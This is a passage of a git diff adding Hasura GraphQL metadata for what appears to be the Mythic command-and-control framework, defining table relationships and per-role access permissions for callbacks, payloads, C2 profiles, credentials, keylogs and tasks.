+ foreign_key_constraint_on: task_id
+- table:
+ schema: public
+ name: browserscript
+ object_relationships:
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ - name: payloadtype
+ using:
+ foreign_key_constraint_on: payload_type_id
+ array_relationships:
+ - name: browserscriptoperations
+ using:
+ foreign_key_constraint_on:
+ column: browserscript_id
+ table:
+ schema: public
+ name: browserscriptoperation
+- table:
+ schema: public
+ name: browserscriptoperation
+ object_relationships:
+ - name: browserscript
+ using:
+ foreign_key_constraint_on: browserscript_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+- table:
+ schema: public
+ name: buildparameter
+ object_relationships:
+ - name: payloadtype
+ using:
+ foreign_key_constraint_on: payload_type_id
+ array_relationships:
+ - name: buildparameterinstances
+ using:
+ foreign_key_constraint_on:
+ column: build_parameter_id
+ table:
+ schema: public
+ name: buildparameterinstance
+- table:
+ schema: public
+ name: buildparameterinstance
+ object_relationships:
+ - name: buildparameter
+ using:
+ foreign_key_constraint_on: build_parameter_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: payload_id
+- table:
+ schema: public
+ name: c2profile
+ array_relationships:
+ - name: c2profileparameters
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_id
+ table:
+ schema: public
+ name: c2profileparameters
+ - name: c2profileparametersinstances
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_id
+ table:
+ schema: public
+ name: c2profileparametersinstance
+ - name: callbackc2profiles
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_id
+ table:
+ schema: public
+ name: callbackc2profiles
+ - name: callbackgraphedges
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_id
+ table:
+ schema: public
+ name: callbackgraphedge
+ - name: payloadc2profiles
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_id
+ table:
+ schema: public
+ name: payloadc2profiles
+ - name: payloadtypec2profiles
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_id
+ table:
+ schema: public
+ name: payloadtypec2profile
+- table:
+ schema: public
+ name: c2profileparameters
+ object_relationships:
+ - name: c2profile
+ using:
+ foreign_key_constraint_on: c2_profile_id
+ array_relationships:
+ - name: c2profileparametersinstances
+ using:
+ foreign_key_constraint_on:
+ column: c2_profile_parameters_id
+ table:
+ schema: public
+ name: c2profileparametersinstance
+- table:
+ schema: public
+ name: c2profileparametersinstance
+ object_relationships:
+ - name: c2profile
+ using:
+ foreign_key_constraint_on: c2_profile_id
+ - name: c2profileparameter
+ using:
+ foreign_key_constraint_on: c2_profile_parameters_id
+ - name: callback
+ using:
+ foreign_key_constraint_on: callback_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: payload_id
+- table:
+ schema: public
+ name: callback
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ - name: operatorByLockedOperatorId
+ using:
+ foreign_key_constraint_on: locked_operator_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: registered_payload_id
+ - name: task
+ using:
+ foreign_key_constraint_on: socks_task_id
+ array_relationships:
+ - name: c2profileparametersinstances
+ using:
+ foreign_key_constraint_on:
+ column: callback_id
+ table:
+ schema: public
+ name: c2profileparametersinstance
+ - name: callbackc2profiles
+ using:
+ foreign_key_constraint_on:
+ column: callback_id
+ table:
+ schema: public
+ name: callbackc2profiles
+ - name: callbackgraphedges
+ using:
+ foreign_key_constraint_on:
+ column: source_id
+ table:
+ schema: public
+ name: callbackgraphedge
+ - name: callbackgraphedgesByDestinationId
+ using:
+ foreign_key_constraint_on:
+ column: destination_id
+ table:
+ schema: public
+ name: callbackgraphedge
+ - name: loadedcommands
+ using:
+ foreign_key_constraint_on:
+ column: callback_id
+ table:
+ schema: public
+ name: loadedcommands
+ - name: tasks
+ using:
+ foreign_key_constraint_on:
+ column: callback_id
+ table:
+ schema: public
+ name: task
+- table:
+ schema: public
+ name: callbackc2profiles
+ object_relationships:
+ - name: c2profile
+ using:
+ foreign_key_constraint_on: c2_profile_id
+ - name: callback
+ using:
+ foreign_key_constraint_on: callback_id
+- table:
+ schema: public
+ name: callbackgraphedge
+ object_relationships:
+ - name: c2profile
+ using:
+ foreign_key_constraint_on: c2_profile_id
+ - name: callback
+ using:
+ foreign_key_constraint_on: source_id
+ - name: callbackByDestinationId
+ using:
+ foreign_key_constraint_on: destination_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_start_id
+ - name: taskByTaskEndId
+ using:
+ foreign_key_constraint_on: task_end_id
+- table:
+ schema: public
+ name: command
+ object_relationships:
+ - name: payloadtype
+ using:
+ foreign_key_constraint_on: payload_type_id
+ array_relationships:
+ - name: attackcommands
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: attackcommand
+ - name: browserscripts
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: browserscript
+ - name: commandparameters
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: commandparameters
+ - name: disabledcommands
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: disabledcommands
+ - name: disabledcommandsprofiles
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: disabledcommandsprofile
+ - name: loadedcommands
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: loadedcommands
+ - name: payloadcommands
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: payloadcommand
+ - name: tasks
+ using:
+ foreign_key_constraint_on:
+ column: command_id
+ table:
+ schema: public
+ name: task
+- table:
+ schema: public
+ name: commandparameters
+ object_relationships:
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+- table:
+ schema: public
+ name: credential
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+- table:
+ schema: public
+ name: disabledcommands
+ object_relationships:
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+- table:
+ schema: public
+ name: disabledcommandsprofile
+ object_relationships:
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ array_relationships:
+ - name: operatoroperations
+ using:
+ foreign_key_constraint_on:
+ column: base_disabled_commands_id
+ table:
+ schema: public
+ name: operatoroperation
+- table:
+ schema: public
+ name: filebrowserobj
+ object_relationships:
+ - name: filebrowserobj
+ using:
+ foreign_key_constraint_on: parent_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ array_relationships:
+ - name: filebrowserobjs
+ using:
+ foreign_key_constraint_on:
+ column: parent_id
+ table:
+ schema: public
+ name: filebrowserobj
+ - name: filemeta
+ using:
+ foreign_key_constraint_on:
+ column: file_browser_id
+ table:
+ schema: public
+ name: filemeta
+- table:
+ schema: public
+ name: filemeta
+ object_relationships:
+ - name: filebrowserobj
+ using:
+ foreign_key_constraint_on: file_browser_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ array_relationships:
+ - name: payloads
+ using:
+ foreign_key_constraint_on:
+ column: file_id
+ table:
+ schema: public
+ name: payload
+- table:
+ schema: public
+ name: keylog
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+- table:
+ schema: public
+ name: loadedcommands
+ object_relationships:
+ - name: callback
+ using:
+ foreign_key_constraint_on: callback_id
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+- table:
+ schema: public
+ name: operation
+ object_relationships:
+ - name: operator
+ using:
+ foreign_key_constraint_on: admin_id
+ array_relationships:
+ - name: browserscriptoperations
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: browserscriptoperation
+ - name: c2profileparametersinstances
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: c2profileparametersinstance
+ - name: callbackgraphedges
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: callbackgraphedge
+ - name: callbacks
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: callback
+ - name: credentials
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: credential
+ - name: disabledcommands
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: disabledcommands
+ - name: filebrowserobjs
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: filebrowserobj
+ - name: filemeta
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: filemeta
+ - name: keylogs
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: keylog
+ - name: operationeventlogs
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: operationeventlog
+ - name: operatoroperations
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: operatoroperation
+ - name: operators
+ using:
+ foreign_key_constraint_on:
+ column: current_operation_id
+ table:
+ schema: public
+ name: operator
+ - name: payloadonhosts
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: payloadonhost
+ - name: payloads
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: payload
+ - name: taskartifacts
+ using:
+ foreign_key_constraint_on:
+ column: operation_id
+ table:
+ schema: public
+ name: taskartifact
+- table:
+ schema: public
+ name: operationeventlog
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+- table:
+ schema: public
+ name: operator
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: current_operation_id
+ array_relationships:
+ - name: apitokens
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: apitokens
+ - name: browserscripts
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: browserscript
+ - name: callbacks
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: callback
+ - name: callbacksByLockedOperatorId
+ using:
+ foreign_key_constraint_on:
+ column: locked_operator_id
+ table:
+ schema: public
+ name: callback
+ - name: credentials
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: credential
+ - name: disabledcommands
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: disabledcommands
+ - name: filemeta
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: filemeta
+ - name: loadedcommands
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: loadedcommands
+ - name: operationeventlogs
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: operationeventlog
+ - name: operations
+ using:
+ foreign_key_constraint_on:
+ column: admin_id
+ table:
+ schema: public
+ name: operation
+ - name: operatoroperations
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: operatoroperation
+ - name: payloads
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: payload
+ - name: tasks
+ using:
+ foreign_key_constraint_on:
+ column: operator_id
+ table:
+ schema: public
+ name: task
+ - name: tasksByCommentOperatorId
+ using:
+ foreign_key_constraint_on:
+ column: comment_operator_id
+ table:
+ schema: public
+ name: task
+- table:
+ schema: public
+ name: operatoroperation
+ object_relationships:
+ - name: disabledcommandsprofile
+ using:
+ foreign_key_constraint_on: base_disabled_commands_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+- table:
+ schema: public
+ name: payload
+ object_relationships:
+ - name: filemetum
+ using:
+ foreign_key_constraint_on: file_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: wrapped_payload_id
+ - name: payloadtype
+ using:
+ foreign_key_constraint_on: payload_type_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ array_relationships:
+ - name: buildparameterinstances
+ using:
+ foreign_key_constraint_on:
+ column: payload_id
+ table:
+ schema: public
+ name: buildparameterinstance
+ - name: c2profileparametersinstances
+ using:
+ foreign_key_constraint_on:
+ column: payload_id
+ table:
+ schema: public
+ name: c2profileparametersinstance
+ - name: callbacks
+ using:
+ foreign_key_constraint_on:
+ column: registered_payload_id
+ table:
+ schema: public
+ name: callback
+ - name: payloadc2profiles
+ using:
+ foreign_key_constraint_on:
+ column: payload_id
+ table:
+ schema: public
+ name: payloadc2profiles
+ - name: payloadcommands
+ using:
+ foreign_key_constraint_on:
+ column: payload_id
+ table:
+ schema: public
+ name: payloadcommand
+ - name: payloadonhosts
+ using:
+ foreign_key_constraint_on:
+ column: payload_id
+ table:
+ schema: public
+ name: payloadonhost
+ - name: payloads
+ using:
+ foreign_key_constraint_on:
+ column: wrapped_payload_id
+ table:
+ schema: public
+ name: payload
+- table:
+ schema: public
+ name: payloadc2profiles
+ object_relationships:
+ - name: c2profile
+ using:
+ foreign_key_constraint_on: c2_profile_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: payload_id
+- table:
+ schema: public
+ name: payloadcommand
+ object_relationships:
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: payload_id
+- table:
+ schema: public
+ name: payloadonhost
+ object_relationships:
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: payload
+ using:
+ foreign_key_constraint_on: payload_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+- table:
+ schema: public
+ name: payloadtype
+ array_relationships:
+ - name: browserscripts
+ using:
+ foreign_key_constraint_on:
+ column: payload_type_id
+ table:
+ schema: public
+ name: browserscript
+ - name: buildparameters
+ using:
+ foreign_key_constraint_on:
+ column: payload_type_id
+ table:
+ schema: public
+ name: buildparameter
+ - name: commands
+ using:
+ foreign_key_constraint_on:
+ column: payload_type_id
+ table:
+ schema: public
+ name: command
+ - name: payloads
+ using:
+ foreign_key_constraint_on:
+ column: payload_type_id
+ table:
+ schema: public
+ name: payload
+ - name: payloadtypec2profiles
+ using:
+ foreign_key_constraint_on:
+ column: payload_type_id
+ table:
+ schema: public
+ name: payloadtypec2profile
+ - name: wrappedpayloadtypes
+ using:
+ foreign_key_constraint_on:
+ column: wrapper_id
+ table:
+ schema: public
+ name: wrappedpayloadtypes
+ - name: wrappedpayloadtypesByWrappedId
+ using:
+ foreign_key_constraint_on:
+ column: wrapped_id
+ table:
+ schema: public
+ name: wrappedpayloadtypes
+- table:
+ schema: public
+ name: payloadtypec2profile
+ object_relationships:
+ - name: c2profile
+ using:
+ foreign_key_constraint_on: c2_profile_id
+ - name: payloadtype
+ using:
+ foreign_key_constraint_on: payload_type_id
+- table:
+ schema: public
+ name: response
+ object_relationships:
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+- table:
+ schema: public
+ name: staginginfo
+- table:
+ schema: public
+ name: task
+ object_relationships:
+ - name: callback
+ using:
+ foreign_key_constraint_on: callback_id
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ - name: operatorByCommentOperatorId
+ using:
+ foreign_key_constraint_on: comment_operator_id
+ array_relationships:
+ - name: attacktasks
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: attacktask
+ - name: callbackgraphedges
+ using:
+ foreign_key_constraint_on:
+ column: task_start_id
+ table:
+ schema: public
+ name: callbackgraphedge
+ - name: callbackgraphedgesByTaskEndId
+ using:
+ foreign_key_constraint_on:
+ column: task_end_id
+ table:
+ schema: public
+ name: callbackgraphedge
+ - name: callbacks
+ using:
+ foreign_key_constraint_on:
+ column: socks_task_id
+ table:
+ schema: public
+ name: callback
+ - name: credentials
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: credential
+ - name: filebrowserobjs
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: filebrowserobj
+ - name: filemeta
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: filemeta
+ - name: keylogs
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: keylog
+ - name: payloadonhosts
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: payloadonhost
+ - name: payloads
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: payload
+ - name: responses
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: response
+ - name: taskartifacts
+ using:
+ foreign_key_constraint_on:
+ column: task_id
+ table:
+ schema: public
+ name: taskartifact
+- table:
+ schema: public
+ name: taskartifact
+ object_relationships:
+ - name: artifact
+ using:
+ foreign_key_constraint_on: artifact_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+- table:
+ schema: public
+ name: wrappedpayloadtypes
+ object_relationships:
+ - name: payloadtype
+ using:
+ foreign_key_constraint_on: wrapper_id
+ - name: payloadtypeByWrappedId
+ using:
+ foreign_key_constraint_on: wrapped_id
+actions:
+- name: createAPIToken
+ definition:
+ handler: '{{MYTHIC_ACTIONS_URL_BASE}}/generate_apitoken'
+ output_type: createAPITokenResponse!
+ forward_client_headers: true
+ arguments:
+ - name: tokenType
+ type: String!
+ type: mutation
+ kind: synchronous
+custom_types:
+ objects:
+ - name: createAPITokenResponse
+ fields:
+ - name: tokenValue
+ type: String!
diff --git a/hasura-docker/metadata/query_collections.yaml b/hasura-docker/metadata/query_collections.yaml
new file mode 100644
index 000000000..fe51488c7
--- /dev/null
+++ b/hasura-docker/metadata/query_collections.yaml
@@ -0,0 +1 @@
+[]
diff --git a/hasura-docker/metadata/remote_schemas.yaml b/hasura-docker/metadata/remote_schemas.yaml
new file mode 100644
index 000000000..fe51488c7
--- /dev/null
+++ b/hasura-docker/metadata/remote_schemas.yaml
@@ -0,0 +1 @@
+[]
diff --git a/hasura-docker/metadata/rest_endpoints.yaml b/hasura-docker/metadata/rest_endpoints.yaml
new file mode 100644
index 000000000..fe51488c7
--- /dev/null
+++ b/hasura-docker/metadata/rest_endpoints.yaml
@@ -0,0 +1 @@
+[]
diff --git a/hasura-docker/metadata/tables.yaml b/hasura-docker/metadata/tables.yaml
new file mode 100644
index 000000000..20858fab9
--- /dev/null
+++ b/hasura-docker/metadata/tables.yaml
@@ -0,0 +1,5922 @@
+- table:
+ schema: public
+ name: apitokens
+ object_relationships:
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - active
+ - id
+ - operator_id
+ - token_type
+ - token_value
+ - creation_time
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ - role: mythic_admin
+ permission:
+ columns:
+ - active
+ - id
+ - operator_id
+ - token_type
+ - token_value
+ - creation_time
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ - role: operation_admin
+ permission:
+ columns:
+ - active
+ - id
+ - operator_id
+ - token_type
+ - token_value
+ - creation_time
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ - role: operator
+ permission:
+ columns:
+ - active
+ - id
+ - operator_id
+ - token_type
+ - token_value
+ - creation_time
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ - role: spectator
+ permission:
+ columns:
+ - active
+ - creation_time
+ - id
+ - operator_id
+ - token_type
+ - token_value
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ update_permissions:
+ - role: developer
+ permission:
+ columns:
+ - active
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ check: null
+ - role: mythic_admin
+ permission:
+ columns:
+ - active
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ check: null
+ - role: operation_admin
+ permission:
+ columns:
+ - active
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ check: null
+ - role: operator
+ permission:
+ columns:
+ - active
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ check: null
+ - role: spectator
+ permission:
+ columns:
+ - active
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ check: null
+ delete_permissions:
+ - role: developer
+ permission:
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ - role: mythic_admin
+ permission:
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ - role: operation_admin
+ permission:
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ - role: operator
+ permission:
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ - role: spectator
+ permission:
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+- table:
+ schema: public
+ name: artifact
+ array_relationships:
+ - name: taskartifacts
+ using:
+ foreign_key_constraint_on:
+ column: artifact_id
+ table:
+ schema: public
+ name: taskartifact
+ insert_permissions:
+ - role: mythic_admin
+ permission:
+ check: {}
+ columns:
+ - description
+ - name
+ backend_only: false
+ - role: operation_admin
+ permission:
+ check: {}
+ columns:
+ - description
+ - name
+ backend_only: false
+ - role: operator
+ permission:
+ check: {}
+ columns:
+ - description
+ - name
+ backend_only: false
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - description
+ - name
+ - id
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - name
+ - description
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - description
+ - name
+ - id
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - description
+ - name
+ - id
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - description
+ - name
+ - id
+ filter: {}
+ update_permissions:
+ - role: mythic_admin
+ permission:
+ columns:
+ - description
+ - name
+ filter: {}
+ check: null
+ - role: operation_admin
+ permission:
+ columns:
+ - description
+ - name
+ filter: {}
+ check: null
+ - role: operator
+ permission:
+ columns:
+ - description
+ - name
+ filter: {}
+ check: null
+ delete_permissions:
+ - role: mythic_admin
+ permission:
+ filter: {}
+ - role: operation_admin
+ permission:
+ filter: {}
+ - role: operator
+ permission:
+ filter: {}
+- table:
+ schema: public
+ name: attack
+ array_relationships:
+ - name: attackcommands
+ using:
+ foreign_key_constraint_on:
+ column: attack_id
+ table:
+ schema: public
+ name: attackcommand
+ - name: attacktasks
+ using:
+ foreign_key_constraint_on:
+ column: attack_id
+ table:
+ schema: public
+ name: attacktask
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - t_num
+ - name
+ - os
+ - tactic
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - name
+ - os
+ - t_num
+ - tactic
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - id
+ - name
+ - os
+ - t_num
+ - tactic
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - id
+ - name
+ - os
+ - t_num
+ - tactic
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - id
+ - name
+ - os
+ - t_num
+ - tactic
+ filter: {}
+- table:
+ schema: public
+ name: attackcommand
+ object_relationships:
+ - name: attack
+ using:
+ foreign_key_constraint_on: attack_id
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - attack_id
+ - command_id
+ filter: {}
+ - role: mythic_admin
+ permission:
+ columns:
+ - attack_id
+ - command_id
+ - id
+ filter: {}
+ - role: operation_admin
+ permission:
+ columns:
+ - attack_id
+ - command_id
+ - id
+ filter: {}
+ - role: operator
+ permission:
+ columns:
+ - attack_id
+ - command_id
+ - id
+ filter: {}
+ - role: spectator
+ permission:
+ columns:
+ - attack_id
+ - command_id
+ - id
+ filter: {}
+- table:
+ schema: public
+ name: attacktask
+ object_relationships:
+ - name: attack
+ using:
+ foreign_key_constraint_on: attack_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - id
+ - attack_id
+ - task_id
+ filter:
+ task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ - role: mythic_admin
+ permission:
+ columns:
+ - id
+ - attack_id
+ - task_id
+ filter:
+ task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ - role: operation_admin
+ permission:
+ columns:
+ - id
+ - attack_id
+ - task_id
+ filter:
+ task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ - role: operator
+ permission:
+ columns:
+ - id
+ - attack_id
+ - task_id
+ filter:
+ task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+ - role: spectator
+ permission:
+ columns:
+ - id
+ - attack_id
+ - task_id
+ filter:
+ task:
+ callback:
+ operation_id:
+ _eq: X-Hasura-current-operation-id
+- table:
+ schema: public
+ name: authenticationpackage
+ object_relationships:
+ - name: logonsession
+ using:
+ foreign_key_constraint_on: LogonSession_id
+ - name: task
+ using:
+ foreign_key_constraint_on: task_id
+- table:
+ schema: public
+ name: browserscript
+ object_relationships:
+ - name: command
+ using:
+ foreign_key_constraint_on: command_id
+ - name: operator
+ using:
+ foreign_key_constraint_on: operator_id
+ - name: payloadtype
+ using:
+ foreign_key_constraint_on: payload_type_id
+ array_relationships:
+ - name: browserscriptoperations
+ using:
+ foreign_key_constraint_on:
+ column: browserscript_id
+ table:
+ schema: public
+ name: browserscriptoperation
+ select_permissions:
+ - role: developer
+ permission:
+ columns:
+ - active
+ - author
+ - command_id
+ - container_version
+ - container_version_author
+ - creation_time
+ - for_new_ui
+ - id
+ - name
+ - operator_id
+ - payload_type_id
+ - script
+ - user_modified
+ filter:
+ _or:
+ - operator_id:
+ _eq: X-Hasura-User-Id
+ - browserscriptoperations:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: mythic_admin
+ permission:
+ columns:
+ - active
+ - author
+ - command_id
+ - container_version
+ - container_version_author
+ - creation_time
+ - for_new_ui
+ - id
+ - name
+ - operator_id
+ - payload_type_id
+ - script
+ - user_modified
+ filter:
+ _or:
+ - operator_id:
+ _eq: X-Hasura-User-Id
+ - browserscriptoperations:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operation_admin
+ permission:
+ columns:
+ - active
+ - author
+ - command_id
+ - container_version
+ - container_version_author
+ - creation_time
+ - for_new_ui
+ - id
+ - name
+ - operator_id
+ - payload_type_id
+ - script
+ - user_modified
+ filter:
+ _or:
+ - operator_id:
+ _eq: X-Hasura-User-Id
+ - browserscriptoperations:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: operator
+ permission:
+ columns:
+ - active
+ - author
+ - command_id
+ - container_version
+ - container_version_author
+ - creation_time
+ - for_new_ui
+ - id
+ - name
+ - operator_id
+ - payload_type_id
+ - script
+ - user_modified
+ filter:
+ _or:
+ - operator_id:
+ _eq: X-Hasura-User-Id
+ - browserscriptoperations:
+ operation_id:
+ _in: X-Hasura-operations
+ - role: spectator
+ permission:
+ columns:
+ - active
+ - author
+ - command_id
+ - container_version
+ - container_version_author
+ - creation_time
+ - for_new_ui
+ - id
+ - name
+ - operator_id
+ - payload_type_id
+ - script
+ - user_modified
+ filter:
+ _or:
+ - operator_id:
+ _eq: X-Hasura-User-Id
+ - browserscriptoperations:
+ operation_id:
+ _in: X-Hasura-operations
+ update_permissions:
+ - role: developer
+ permission:
+ columns:
+ - active
+ - author
+ - command_id
+ - name
+ - payload_type_id
+ - script
+ - user_modified
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ check: null
+ - role: mythic_admin
+ permission:
+ columns:
+ - active
+ - author
+ - command_id
+ - name
+ - payload_type_id
+ - script
+ - user_modified
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ check: null
+ - role: operation_admin
+ permission:
+ columns:
+ - active
+ - author
+ - command_id
+ - name
+ - payload_type_id
+ - script
+ - user_modified
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ check: null
+ - role: operator
+ permission:
+ columns:
+ - active
+ - author
+ - command_id
+ - name
+ - payload_type_id
+ - script
+ - user_modified
+ filter:
+ operator_id:
+ _eq: X-Hasura-User-Id
+ check: null
+- table:
+ schema: public
+ name: browserscriptoperation
+ object_relationships:
+ - name: browserscript
+ using:
+ foreign_key_constraint_on: browserscript_id
+ - name: operation
+ using:
+ foreign_key_constraint_on: operation_id
+ insert_permissions:
+ - role: developer
+ permission:
+ check:
+ operation_id:
+ _in: X-Hasura-admin-operations
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - browserscript_id
+ backend_only: false
+ - role: mythic_admin
+ permission:
+ check:
+ operation_id:
+ _in: X-Hasura-admin-operations
+ set:
+ operation_id: x-hasura-current-operation-id
+ columns:
+ - browserscript_id
